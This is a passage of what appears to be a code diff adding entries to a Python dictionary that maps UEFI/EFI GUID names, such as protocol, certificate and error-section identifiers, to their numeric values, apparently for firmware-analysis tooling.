'EFI_ACPI_VARIABLE_COMPATIBILITY_GUID': [0xc020489e, 0x6db2, 0x4ef2, 0x9a, 0xa5, 0xca, 0x6, 0xfc, 0x11, 0xd3, 0x6a], + 'EFI_ALTERNATE_FV_BLOCK_GUID': [0xf496922d, 0x172f, 0x4bbc, 0xa1, 0xeb, 0xe, 0xeb, 0x94, 0x9c, 0x34, 0x86], + 'EFI_APRIORI_GUID': [0xfc510ee7, 0xffdc, 0x11d4, 0xbd, 0x41, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ARP_PROTOCOL_GUID': [0xf4b427bb, 0xba21, 0x4f16, 0xbc, 0x4e, 0x43, 0xe4, 0x16, 0xab, 0x61, 0x9c], + 'EFI_ARP_SERVICE_BINDING_PROTOCOL_GUID': [0xf44c00ee, 0x1f2c, 0x4a00, 0xaa, 0x9, 0x1c, 0x9f, 0x3e, 0x8, 0x0, 0xa3], + 'EFI_ATA_PASS_THRU_PROTOCOL_GUID': [0x1d3de7f0, 0x807, 0x424f, 0xaa, 0x69, 0x11, 0xa5, 0x4e, 0x19, 0xa4, 0x6f], + 'EFI_AUTHENTICATED_VARIABLE_GUID': [0xaaf32c78, 0x947b, 0x439a, 0xa1, 0x80, 0x2e, 0x14, 0x4e, 0xc3, 0x77, 0x92], + 'EFI_AUTHENTICATION_CHAP_LOCAL_GUID': [0xc280c73e, 0x15ca, 0x11da, 0xb0, 0xca, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d], + 'EFI_AUTHENTICATION_CHAP_RADIUS_GUID': [0xd6062b50, 0x15ca, 0x11da, 0x92, 0x19, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d], + 'EFI_AUTHENTICATION_INFO_PROTOCOL_GUID': [0x7671d9d0, 0x53db, 0x4173, 0xaa, 0x69, 0x23, 0x27, 0xf2, 0x1f, 0x0b, 0xc7], + 'EFI_BDS_ARCH_PROTOCOL_GUID': [0x665E3FF6, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_BIS_PROTOCOL_GUID': [0x0b64aab0, 0x5429, 0x11d4, 0x98, 0x16, 0x00, 0xa0, 0xc9, 0x1f, 0xad, 0xcf], + 'EFI_BLOCK_IO2_PROTOCOL_GUID': [0xa77b2472, 0xe282, 0x4e9f, 0xa2, 0x45, 0xc2, 0xc0, 0xe2, 0x7b, 0xbc, 0xc1], + 'EFI_BLOCK_IO_PROTOCOL_GUID': [0x964e5b21, 0x6459, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_BOOT_LOGO_PROTOCOL_GUID': [0xcdea2bd3, 0xfc25, 0x4c1c, 0xb9, 0x7c, 0xb3, 0x11, 0x86, 0x6, 0x49, 0x90], + 'EFI_BOOT_SCRIPT_EXECUTOR_CONTEXT_GUID': [0x79cb58c4, 0xac51, 0x442f, 0xaf, 0xd7, 0x98, 0xe4, 0x7d, 0x2e, 0x99, 0x8], + 'EFI_BOOT_SCRIPT_EXECUTOR_VARIABLE_GUID': [0x3079818c, 0x46d4, 0x4a73, 0xae, 0xf3, 0xe3, 0xe4, 0x6c, 0xf1, 0xee, 0xdb], + 'EFI_BOOT_SCRIPT_SAVE_PROTOCOL_GUID': [0x470e1529, 0xb79e, 0x4e32, 0xa0, 0xfe, 0x6a, 0x15, 0x6d, 0x29, 0xf9, 0xb2], + 'EFI_BUS_SPECIFIC_DRIVER_OVERRIDE_PROTOCOL_GUID': [0x3bc1b285, 0x8a15, 0x4a82, 0xaa, 0xbf, 0x4d, 0x7d, 0x13, 0xfb, 0x32, 0x65], + 'EFI_CACHE_SUBCLASS_GUID': [0x7f0013a7, 0xdc79, 0x4b22, 0x80, 0x99, 0x11, 0xf7, 0x5f, 0xdc, 0x82, 0x9d], + 'EFI_CAPSULE_ARCH_PROTOCOL_GUID': [0x5053697e, 0x2cbc, 0x4819, 0x90, 0xd9, 0x05, 0x80, 0xde, 0xee, 0x57, 0x54], + 'EFI_CAPSULE_ARCH_PROTOCOL_GUID': [0x5053697e, 0x2cbc, 0x4819, 0x90, 0xd9, 0x5, 0x80, 0xde, 0xee, 0x57, 0x54], + 'EFI_CAPSULE_GUID': [0x3B6686BD, 0x0D76, 0x4030, 0xB7, 0x0E, 0xB5, 0x51, 0x9E, 0x2F, 0xC5, 0xA0], + 'EFI_CAPSULE_INFO_GUID': [0x8B34EAC7, 0x2690, 0x460B, 0x8B, 0xA5, 0xD5, 0xCF, 0x32, 0x83, 0x17, 0x35], + 'EFI_CAPSULE_VENDOR_GUID': [0x711C703F, 0xC285, 0x4B10, 0xA3, 0xB0, 0x36, 0xEC, 0xBD, 0x3C, 0x8B, 0xE2], + 'EFI_CERT_RSA2048_GUID': [0x3c5766e8, 0x269c, 0x4e34, 0xaa, 0x14, 0xed, 0x77, 0x6e, 0x85, 0xb3, 0xb6], + 'EFI_CERT_RSA2048_SHA1_GUID': [0x67f8444f, 0x8743, 0x48f1, 0xa3, 0x28, 0x1e, 0xaa, 0xb8, 0x73, 0x60, 0x80], + 'EFI_CERT_RSA2048_SHA256_GUID': [0xe2b36190, 0x879b, 0x4a3d, 0xad, 0x8d, 0xf2, 0xe7, 0xbb, 0xa3, 0x27, 0x84], + 'EFI_CERT_SHA1_GUID': [0x826ca512, 0xcf10, 0x4ac9, 0xb1, 0x87, 0xbe, 0x1, 0x49, 0x66, 0x31, 0xbd], + 'EFI_CERT_SHA224_GUID': [0xb6e5233, 0xa65c, 0x44c9, 0x94, 0x7, 0xd9, 0xab, 0x83, 0xbf, 0xc8, 0xbd], + 'EFI_CERT_SHA256_GUID': [0xc1c41626, 0x504c, 0x4092, 0xac, 0xa9, 0x41, 0xf9, 0x36, 0x93, 0x43, 0x28], + 'EFI_CERT_SHA384_GUID': [0xff3e5307, 0x9fd0, 0x48c9, 0x85, 0xf1, 0x8a, 0xd5, 0x6c, 0x70, 0x1e, 0x1], + 'EFI_CERT_SHA512_GUID': [0x93e0fae, 0xa6c4, 0x4f50, 0x9f, 0x1b, 0xd4, 0x1e, 0x2b, 0x89, 0xc1, 0x9a], + 'EFI_CERT_TYPE_PKCS7_GUID': [0x4aafd29d, 0x68df, 0x49ee, 0x8a, 0xa9, 0x34, 0x7d, 0x37, 0x56, 0x65, 0xa7], + 'EFI_CERT_TYPE_RSA2048_SHA256_GUID': [0xa7717414, 0xc616, 0x4977, 0x94, 0x20, 0x84, 0x47, 0x12, 0xa7, 0x35, 0xbf], + 'EFI_CERT_X509_GUID': [0xa5c059a1, 0x94e4, 0x4aa7, 0x87, 0xb5, 0xab, 0x15, 0x5c, 0x2b, 0xf0, 0x72], + 'EFI_COMPATIBLE_MEMORY_TESTED_PROTOCOL_GUID': [0x64c475ef, 0x344b, 0x492c, 0x93, 0xad, 0xab, 0x9e, 0xb4, 0x39, 0x50, 0x4], + 'EFI_COMPONENT_NAME2_PROTOCOL_GUID': [0x6a7a5cff, 0xe8d9, 0x4f70, 0xba, 0xda, 0x75, 0xab, 0x30, 0x25, 0xce, 0x14], + 'EFI_COMPONENT_NAME_PROTOCOL_GUID': [0x107a772c, 0xd5e1, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_CONFIG_FILE_NAME_GUID': [0x98B8D59B, 0xE8BA, 0x48EE, 0x98, 0xDD, 0xC2, 0x95, 0x39, 0x2F, 0x1E, 0xDB], + 'EFI_CONSOLE_CONTROL_PROTOCOL_GUID': [0xf42f7782, 0x12e, 0x4c12, 0x99, 0x56, 0x49, 0xf9, 0x43, 0x4, 0xf7, 0x21], + 'EFI_CONSOLE_IN_DEVICE_GUID': [0xd3b36f2b, 0xd551, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_CONSOLE_OUT_DEVICE_GUID': [0xd3b36f2c, 0xd551, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_CPU_ARCH_PROTOCOL_GUID': [0x26baccb1, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_CPU_IO2_PROTOCOL_GUID': [0xad61f191, 0xae5f, 0x4c0e, 0xb9, 0xfa, 0xe8, 0x69, 0xd2, 0x88, 0xc6, 0x4f], + 'EFI_CPU_IO_PROTOCOL_GUID': [0xB0732526, 0x38C8, 0x4b40, 0x88, 0x77, 0x61, 0xC7, 0xB0, 0x6A, 0xAC, 0x45], + 'EFI_CRC32_GUIDED_SECTION_EXTRACTION_GUID': [0xFC1BCDB0, 0x7D31, 0x49aa, 0x93, 0x6A, 0xA4, 0x60, 0x0D, 0x9D, 0xD0, 0x83], + 'EFI_CRC32_GUIDED_SECTION_EXTRACTION_PROTOCOL_GUID': [0xFC1BCDB0, 0x7D31, 0x49aa, 0x93, 0x6A, 0xA4, 0x60, 0x0D, 0x9D, 0xD0, 0x83], + 'EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL_GUID': [0x9a44198e, 0xa4a2, 0x44e6, 0x8a, 0x1f, 0x39, 0xbe, 0xfd, 0xac, 0x89, 0x6f], + 'EFI_DATA_HUB_PROTOCOL_GUID': [0xae80d021, 0x618e, 0x11d4, 0xbc, 0xd7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_DATA_HUB_STATUS_CODE_RECORD_GUID': [0xd083e94c, 0x6560, 0x42e4, 0xb6, 0xd4, 0x2d, 0xf7, 0x5a, 0xdf, 0x6a, 0x2a], + 'EFI_DEBUGPORT_PROTOCOL_GUID': [0xEBA4E8D2, 0x3858, 0x41EC, 0xA2, 0x81, 0x26, 0x47, 0xBA, 0x96, 0x60, 0xD0], + 'EFI_DEBUG_AGENT_GUID': [0x865a5a9b, 0xb85d, 0x474c, 0x84, 0x55, 0x65, 0xd1, 0xbe, 0x84, 0x4b, 0xe2], + 'EFI_DEBUG_ASSERT_PROTOCOL_GUID': [0xbe499c92, 0x7d4b, 0x11d4, 0xbc, 0xee, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_DEBUG_IMAGE_INFO_TABLE_GUID': [0x49152e77, 0x1ada, 0x4764, 0xb7, 0xa2, 0x7a, 0xfe, 0xfe, 0xd9, 0x5e, 0x8b], + 'EFI_DEBUG_MASK_PROTOCOL_GUID': [0x4c8a2451, 0xc207, 0x405b, 0x96, 0x94, 0x99, 0xea, 0x13, 0x25, 0x13, 0x41], + 'EFI_DEBUG_SERIAL_IO_PROTOCOL_GUID': [0xe683dc4f, 0x9ed, 0x4f22, 0x86, 0x6b, 0x8e, 0x40, 0x46, 0x94, 0x7c, 0x6c], + 'EFI_DEBUG_SUPPORT_PERIODIC_CALLBACK_PROTOCOL_GUID': [0x9546e07c, 0x2cbb, 0x4c88, 0x98, 0x6c, 0xcd, 0x34, 0x10, 0x86, 0xf0, 0x44], + 'EFI_DEBUG_SUPPORT_PROTOCOL_GUID': [0x2755590C, 0x6F3C, 0x42FA, 0x9E, 0xA4, 0xA3, 0xBA, 0x54, 0x3C, 0xDA, 0x25], + 'EFI_DECOMPRESS_PROTOCOL_GUID': [0xd8117cfe, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_DEFAULT_BMP_LOGO_GUID': [0x7BB28B99, 0x61BB, 0x11d5, 0x9A, 0x5D, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_DEFERRED_IMAGE_LOAD_PROTOCOL_GUID': [0x15853d7c, 0x3ddf, 0x43e0, 0xa1, 0xcb, 0xeb, 0xf8, 0x5b, 0x8f, 0x87, 0x2c], + 'EFI_DEVICE_IO_PROTOCOL_GUID': [0xaf6ac311, 0x84c3, 0x11d2, 0x8e, 0x3c, 0x00, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DEVICE_PATH_FROM_TEXT_PROTOCOL_GUID': [0x5c99a21, 0xc70f, 0x4ad2, 0x8a, 0x5f, 0x35, 0xdf, 0x33, 0x43, 0xf5, 0x1e], + 'EFI_DEVICE_PATH_PROTOCOL_GUID': [0x9576e91, 0x6d3f, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DEVICE_PATH_TO_TEXT_PROTOCOL_GUID': [0x8b843e20, 0x8132, 0x4852, 0x90, 0xcc, 0x55, 0x1a, 0x4e, 0x4a, 0x7f, 0x1c], + 'EFI_DEVICE_PATH_UTILITIES_PROTOCOL_GUID': [0x379be4e, 0xd706, 0x437d, 0xb0, 0x37, 0xed, 0xb8, 0x2f, 0xb7, 0x72, 0xa4], + 'EFI_DHCP4_PROTOCOL_GUID': [0x8a219718, 0x4ef5, 0x4761, 0x91, 0xc8, 0xc0, 0xf0, 0x4b, 0xda, 0x9e, 0x56], + 'EFI_DHCP4_SERVICE_BINDING_PROTOCOL_GUID': [0x9d9a39d8, 0xbd42, 0x4a73, 0xa4, 0xd5, 0x8e, 0xe9, 0x4b, 0xe1, 0x13, 0x80], + 'EFI_DHCP6_PROTOCOL_GUID': [0x87c8bad7, 0x595, 0x4053, 0x82, 0x97, 0xde, 0xde, 0x39, 0x5f, 0x5d, 0x5b], + 'EFI_DHCP6_SERVICE_BINDING_PROTOCOL_GUID': [0x9fb9a8a1, 0x2f4a, 0x43a6, 0x88, 0x9c, 0xd0, 0xf7, 0xb6, 0xc4, 0x7a, 0xd5], + 'EFI_DISK_INFO_AHCI_INTERFACE_GUID': [0x9e498932, 0x4abc, 0x45af, 0xa3, 0x4d, 0x2, 0x47, 0x78, 0x7b, 0xe7, 0xc6], + 'EFI_DISK_INFO_IDE_INTERFACE_GUID': [0x5e948fe3, 0x26d3, 0x42b5, 0xaf, 0x17, 0x61, 0x2, 0x87, 0x18, 0x8d, 0xec], + 'EFI_DISK_INFO_PROTOCOL_GUID': [0xd432a67f, 0x14dc, 0x484b, 0xb3, 0xbb, 0x3f, 0x2, 0x91, 0x84, 0x93, 0x27], + 'EFI_DISK_INFO_SCSI_INTERFACE_GUID': [0x8f74baa, 0xea36, 0x41d9, 0x95, 0x21, 0x21, 0xa7, 0xf, 0x87, 0x80, 0xbc], + 'EFI_DISK_INFO_USB_INTERFACE_GUID': [0xcb871572, 0xc11a, 0x47b5, 0xb4, 0x92, 0x67, 0x5e, 0xaf, 0xa7, 0x77, 0x27], + 'EFI_DISK_IO_PROTOCOL_GUID': [0xce345171, 0xba0b, 0x11d2, 0x8e, 0x4f, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DPC_PROTOCOL_GUID': [0x480f8ae9, 0xc46, 0x4aa9, 0xbc, 0x89, 0xdb, 0x9f, 0xba, 0x61, 0x98, 0x6], + 'EFI_DRIVER_BINDING_PROTOCOL_GUID': [0x18a031ab, 0xb443, 0x4d1a, 0xa5, 0xc0, 0xc, 0x9, 0x26, 0x1e, 0x9f, 0x71], + 'EFI_DRIVER_CONFIGURATION2_PROTOCOL_GUID': [0xbfd7dc1d, 0x24f1, 0x40d9, 0x82, 0xe7, 0x2e, 0x09, 0xbb, 0x6b, 0x4e, 0xbe], + 'EFI_DRIVER_CONFIGURATION_PROTOCOL_GUID': [0x107a772b, 0xd5e1, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_DRIVER_DIAGNOSTICS2_PROTOCOL_GUID': [0x4d330321, 0x025f, 0x4aac, 0x90, 0xd8, 0x5e, 0xd9, 0x0, 0x17, 0x3b, 0x63], + 'EFI_DRIVER_DIAGNOSTICS2_PROTOCOL_GUID': [0x4d330321, 0x025f, 0x4aac, 0x90, 0xd8, 0x5e, 0xd9, 0x00, 0x17, 0x3b, 0x63], + 'EFI_DRIVER_DIAGNOSTICS_PROTOCOL_GUID': [0x0784924f, 0xe296, 0x11d4, 0x9a, 0x49, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_DRIVER_FAMILY_OVERRIDE_PROTOCOL_GUID': [0xb1ee129e, 0xda36, 0x4181, 0x91, 0xf8, 0x4, 0xa4, 0x92, 0x37, 0x66, 0xa7], + 'EFI_DRIVER_HEALTH_PROTOCOL_GUID': [0x2a534210, 0x9280, 0x41d8, 0xae, 0x79, 0xca, 0xda, 0x1, 0xa2, 0xb1, 0x27], + 'EFI_DRIVER_SUPPORTED_EFI_VERSION_PROTOCOL_GUID': [0x5c198761, 0x16a8, 0x4e69, 0x97, 0x2c, 0x89, 0xd6, 0x79, 0x54, 0xf8, 0x1d], + 'EFI_DXE_IPL_PPI_GUID': [0xae8ce5d, 0xe448, 0x4437, 0xa8, 0xd7, 0xeb, 0xf5, 0xf1, 0x94, 0xf7, 0x31], + 'EFI_DXE_SERVICES_TABLE_GUID': [0x5ad34ba, 0x6f02, 0x4214, 0x95, 0x2e, 0x4d, 0xa0, 0x39, 0x8e, 0x2b, 0xb9], + 'EFI_DXE_SMM_READY_TO_LOCK_PROTOCOL_GUID': [0x60ff8964, 0xe906, 0x41d0, 0xaf, 0xed, 0xf2, 0x41, 0xe9, 0x74, 0xe0, 0x8e], + 'EFI_EAP_MANAGEMENT_PROTOCOL_GUID': [0xbb62e663, 0x625d, 0x40b2, 0xa0, 0x88, 0xbb, 0xe8, 0x36, 0x23, 0xa2, 0x45], + 'EFI_EAP_PROTOCOL_GUID': [0x5d9f96db, 0xe731, 0x4caa, 0xa0, 0xd, 0x72, 0xe1, 0x87, 0xcd, 0x77, 0x62], + 'EFI_EBC_INTERPRETER_PROTOCOL_GUID': [0x13AC6DD1, 0x73D0, 0x11D4, 0xB0, 0x6B, 0x00, 0xAA, 0x00, 0xBD, 0x6D, 0xE7], + 'EFI_EBC_SIMPLE_DEBUGGER_PROTOCOL_GUID': [0x2a72d11e, 0x7376, 0x40f6, 0x9c, 0x68, 0x23, 0xfa, 0x2f, 0xe3, 0x63, 0xf1], + 'EFI_EBC_VM_TEST_PROTOCOL_GUID': [0xAAEACCFD, 0xF27B, 0x4C17, 0xB6, 0x10, 0x75, 0xCA, 0x1F, 0x2D, 0xFB, 0x52], + 'EFI_EBC_VM_TEST_PROTOCOL_GUID': [0xAAEACCFD, 0xF27B, 0x4C17, 0xB6, 0x10, 0x75, 0xCA, 0x1F, 0x2D, 0xFB, 0x52], + 'EFI_EDID_ACTIVE_PROTOCOL_GUID': [0xbd8c1056, 0x9f36, 0x44ec, 0x92, 0xa8, 0xa6, 0x33, 0x7f, 0x81, 0x79, 0x86], + 'EFI_EDID_DISCOVERED_PROTOCOL_GUID': [0x1c0c34f6, 0xd380, 0x41fa, 0xa0, 0x49, 0x8a, 0xd0, 0x6c, 0x1a, 0x66, 0xaa], + 'EFI_EDID_DISCOVERED_PROTOCOL_GUID': [0x1c0c34f6, 0xd380, 0x41fa, 0xa0, 0x49, 0x8a, 0xd0, 0x6c, 0x1a, 0x66, 0xaa], + 'EFI_EDID_OVERRIDE_PROTOCOL_GUID': [0x48ecb431, 0xfb72, 0x45c0, 0xa9, 0x22, 0xf4, 0x58, 0xfe, 0x4, 0xb, 0xd5], + 'EFI_EMU_PHYSICAL_DISK_GUID': [0xf2ba331a, 0x8985, 0x11db, 0xa4, 0x06, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_EMU_SYSTEM_CONFIG_GUID': [0x9C4FB516, 0x3A1E, 0xD847, 0xA1, 0xA1, 0x70, 0x58, 0xB6, 0x98, 0x67, 0x32], + 'EFI_EMU_VIRTUAL_DISK_GUID': [0xf2ba331a, 0x8985, 0x11db, 0xa4, 0x06, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_END_OF_DXE_EVENT_GROUP_GUID': [0x2ce967a, 0xdd7e, 0x4ffc, 0x9e, 0xe7, 0x81, 0x0c, 0xf0, 0x47, 0x8, 0x80], + 'EFI_END_OF_DXE_EVENT_GROUP_GUID': [0x2ce967a, 0xdd7e, 0x4ffc, 0x9e, 0xe7, 0x81, 0xc, 0xf0, 0x47, 0x8, 0x80], + 'EFI_ERROR_SECTION_DIRECTED_IO_DMAR_GUID': [0x71761d37, 0x32b2, 0x45cd, 0xa7, 0xd0, 0xb0, 0xfe, 0xdd, 0x93, 0xe8, 0xcf], + 'EFI_ERROR_SECTION_DMAR_GENERIC_GUID': [0x5b51fef7, 0xc79d, 0x4434, 0x8f, 0x1b, 0xaa, 0x62, 0xde, 0x3e, 0x2c, 0x64], + 'EFI_ERROR_SECTION_FW_ERROR_RECORD_GUID': [0x81212a96, 0x09ed, 0x4996, 0x94, 0x71, 0x8d, 0x72, 0x9c, 0x8e, 0x69, 0xed], + 'EFI_ERROR_SECTION_IOMMU_DMAR_GUID': [0x036f84e1, 0x7f37, 0x428c, 0xa7, 0x9e, 0x57, 0x5f, 0xdf, 0xaa, 0x84, 0xec], + 'EFI_ERROR_SECTION_PCIE_GUID': [0xd995e954, 0xbbc1, 0x430f, 0xad, 0x91, 0xb4, 0x4d, 0xcb, 0x3c, 0x6f, 0x35], + 'EFI_ERROR_SECTION_PCI_DEVICE_GUID': [0xeb5e4685, 0xca66, 0x4769, 0xb6, 0xa2, 0x26, 0x06, 0x8b, 0x00, 0x13, 0x26], + 'EFI_ERROR_SECTION_PCI_PCIX_BUS_GUID': [0xc5753963, 0x3b84, 0x4095, 0xbf, 0x78, 0xed, 0xda, 0xd3, 0xf9, 0xc9, 0xdd], + 'EFI_ERROR_SECTION_PLATFORM_MEMORY_GUID': [0xa5bc1114, 0x6f64, 0x4ede, 0xb8, 0x63, 0x3e, 0x83, 0xed, 0x7c, 0x83, 0xb1], + 'EFI_ERROR_SECTION_PROCESSOR_GENERIC_GUID': [0x9876ccad, 0x47b4, 0x4bdb, 0xb6, 0x5e, 0x16, 0xf1, 0x93, 0xc4, 0xf3, 0xdb], + 'EFI_ERROR_SECTION_PROCESSOR_SPECIFIC_GUID': [0xdc3ea0b0, 0xa144, 0x4797, 0xb9, 0x5b, 0x53, 0xfa, 0x24, 0x2b, 0x6e, 0x1d], + 'EFI_EVENT_GROUP_DXE_DISPATCH_GUID': [0x7081e22f, 0xcac6, 0x4053, 0x94, 0x68, 0x67, 0x57, 0x82, 0xcf, 0x88, 0xe5], + 'EFI_EVENT_LEGACY_BOOT_GUID': [0x2a571201, 0x4966, 0x47f6, 0x8b, 0x86, 0xf3, 0x1e, 0x41, 0xf3, 0x2f, 0x10], + 'EFI_EVENT_NOTIFICATION_TYEP_BOOT_GUID': [0x3D61A466, 0xAB40, 0x409a, 0xA6, 0x98, 0xF3, 0x62, 0xD4, 0x64, 0xB3, 0x8F], + 'EFI_EVENT_NOTIFICATION_TYEP_CMC_GUID': [0x2DCE8BB1, 0xBDD7, 0x450e, 0xB9, 0xAD, 0x9C, 0xF4, 0xEB, 0xD4, 0xF8, 0x90], + 'EFI_EVENT_NOTIFICATION_TYEP_CPE_GUID': [0x4E292F96, 0xD843, 0x4a55, 0xA8, 0xC2, 0xD4, 0x81, 0xF2, 0x7E, 0xBE, 0xEE], + 'EFI_EVENT_NOTIFICATION_TYEP_DMAR_GUID': [0x667DD791, 0xC6B3, 0x4c27, 0x8A, 0x6B, 0x0F, 0x8E, 0x72, 0x2D, 0xEB, 0x41], + 'EFI_EVENT_NOTIFICATION_TYEP_INIT_GUID': [0xCC5263E8, 0x9308, 0x454a, 0x89, 0xD0, 0x34, 0x0B, 0xD3, 0x9B, 0xC9, 0x8E], + 'EFI_EVENT_NOTIFICATION_TYEP_MCE_GUID': [0xE8F56FFE, 0x919C, 0x4cc5, 0xBA, 0x88, 0x65, 0xAB, 0xE1, 0x49, 0x13, 0xBB], + 'EFI_EVENT_NOTIFICATION_TYEP_NMI_GUID': [0x5BAD89FF, 0xB7E6, 0x42c9, 0x81, 0x4A, 0xCF, 0x24, 0x85, 0xD6, 0xE9, 0x8A], + 'EFI_EVENT_NOTIFICATION_TYEP_PCIE_GUID': [0xCF93C01F, 0x1A16, 0x4dfc, 0xB8, 0xBC, 0x9C, 0x4D, 0xAF, 0x67, 0xC1, 0x04], + 'EFI_EXTENDED_SAL_BASE_IO_SERVICES_PROTOCOL_GUID': [0x5aea42b5, 0x31e1, 0x4515, 0xbc, 0x31, 0xb8, 0xd5, 0x25, 0x75, 0x65, 0xa6], + 'EFI_EXTENDED_SAL_BASE_SERVICES_PROTOCOL_GUID': [0xd9e9fa06, 0x0fe0, 0x41c3, 0x96, 0xfb, 0x83, 0x42, 0x5a, 0x33, 0x94, 0xf8], + 'EFI_EXTENDED_SAL_CACHE_SERVICES_PROTOCOL_GUID': [0xedc9494, 0x2743, 0x4ba5, 0x88, 0x18, 0x0a, 0xef, 0x52, 0x13, 0xf1, 0x88], + 'EFI_EXTENDED_SAL_ELOG_SERVICES_PROTOCOL_GUID': [0xd5e4ee5f, 0x3e0a, 0x453c, 0xa7, 0x25, 0xb6, 0x92, 0xbb, 0x6, 0x36, 0x5a], + 'EFI_EXTENDED_SAL_FV_BLOCK_SERVICES_PROTOCOL_GUID': [0xa2271df1, 0xbcbb, 0x4f1d, 0x98, 0xa9, 0x06, 0xbc, 0x17, 0x2f, 0x07, 0x1a], + 'EFI_EXTENDED_SAL_LOCK_SERVICES_PROTOCOL_GUID': [0x76b75c23, 0xfe4f, 0x4e17, 0xa2, 0xad, 0x1a, 0x65, 0x3d, 0xbb, 0x49, 0x4a], + 'EFI_EXTENDED_SAL_MCA_LOG_SERVICES_PROTOCOL_GUID': [0xcb3fd86e, 0x38a3, 0x4c03, 0x9a, 0x5c, 0x90, 0xcf, 0xa3, 0xa2, 0xab, 0x7a], + 'EFI_EXTENDED_SAL_MCA_SERVICES_PROTOCOL_GUID': [0x2a591128, 0x6cc7, 0x42b1, 0x8a, 0xf0, 0x58, 0x93, 0x3b, 0x68, 0x2d, 0xbb], + 'EFI_EXTENDED_SAL_MP_SERVICES_PROTOCOL_GUID': [0x697d81a2, 0xcf18, 0x4dc0, 0x9e, 0x0d, 0x06, 0x11, 0x3b, 0x61, 0x8a, 0x3f], + 'EFI_EXTENDED_SAL_MTC_SERVICES_PROTOCOL_GUID': [0x899afd18, 0x75e8, 0x408b, 0xa4, 0x1a, 0x6e, 0x2e, 0x7e, 0xcd, 0xf4, 0x54], + 'EFI_EXTENDED_SAL_PAL_SERVICES_PROTOCOL_GUID': [0xe1cd9d21, 0x0fc2, 0x438d, 0x97, 0x03, 0x04, 0xe6, 0x6d, 0x96, 0x1e, 0x57], + 'EFI_EXTENDED_SAL_PCI_SERVICES_PROTOCOL_GUID': [0xa46b1a31, 0xad66, 0x4905, 0x92, 0xf6, 0x2b, 0x46, 0x59, 0xdc, 0x30, 0x63], + 'EFI_EXTENDED_SAL_RESET_SERVICES_PROTOCOL_GUID': [0x7d019990, 0x8ce1, 0x46f5, 0xa7, 0x76, 0x3c, 0x51, 0x98, 0x67, 0x6a, 0xa0], + 'EFI_EXTENDED_SAL_RTC_SERVICES_PROTOCOL_GUID': [0x7e97a470, 0xefdb, 0x4d02, 0x8f, 0xce, 0x61, 0x90, 0xd2, 0x7b, 0xa2, 0x96], + 'EFI_EXTENDED_SAL_SENSOR_SERVICES_PROTOCOL_GUID': [0x4a153b6e, 0x85a1, 0x4982, 0x98, 0xf4, 0x6a, 0x8c, 0xfc, 0xa4, 0xab, 0xa1], + 'EFI_EXTENDED_SAL_SM_COM_LAYER_SERVICES_PROTOCOL_GUID': [0x4356799, 0x81b7, 0x4e08, 0xa3, 0x8d, 0xd9, 0x78, 0xfa, 0x47, 0xba, 0x42], + 'EFI_EXTENDED_SAL_SST_GUID': [0x38802700, 0x868a, 0x4b4e, 0x81, 0xd4, 0x4f, 0x1b, 0xdc, 0xcf, 0xb4, 0x6f], + 'EFI_EXTENDED_SAL_STALL_SERVICES_PROTOCOL_GUID': [0x53a58d06, 0xac27, 0x4d8c, 0xb5, 0xe9, 0xf0, 0x8a, 0x80, 0x65, 0x41, 0x70], + 'EFI_EXTENDED_SAL_STATUS_CODE_SERVICES_PROTOCOL_GUID': [0xdbd91d, 0x55e9, 0x420f, 0x96, 0x39, 0x5e, 0x9f, 0x84, 0x37, 0xb4, 0x4f], + 'EFI_EXTENDED_SAL_VARIABLE_SERVICES_PROTOCOL_GUID': [0x4ecb6c53, 0xc641, 0x4370, 0x8c, 0xb2, 0x3b, 0x0e, 0x49, 0x6e, 0x83, 0x78], + 'EFI_EXTENDED_SAL_VIRTUAL_SERVICES_PROTOCOL_GUID': [0xc1a74056, 0x260e, 0x4871, 0xa0, 0x31, 0xe6, 0x45, 0xa6, 0x5b, 0x6e, 0x11], + 'EFI_EXT_SCSI_PASS_THRU_PROTOCOL_GUID': [0x143b7632, 0xb81b, 0x4cb7, 0xab, 0xd3, 0xb6, 0x25, 0xa5, 0xb9, 0xbf, 0xfe], + 'EFI_FAULT_TOLERANT_WRITE_PROTOCOL_GUID': [0x3ebd9e82, 0x2c78, 0x4de6, 0x97, 0x86, 0x8d, 0x4b, 0xfc, 0xb7, 0xc8, 0x81], + 'EFI_FFS_VOLUME_TOP_FILE_GUID': [0x1BA0062E, 0xC779, 0x4582, 0x85, 0x66, 0x33, 0x6A, 0xE8, 0xF7, 0x8F, 0x09], + 'EFI_FILE_SYSTEM_INFO_ID_GUID': [0x9576e93, 0x6d3f, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_FILE_SYSTEM_VOLUME_LABEL_INFO_ID_GUID': [0xDB47D7D3, 0xFE81, 0x11d3, 0x9A, 0x35, 0x00, 0x90, 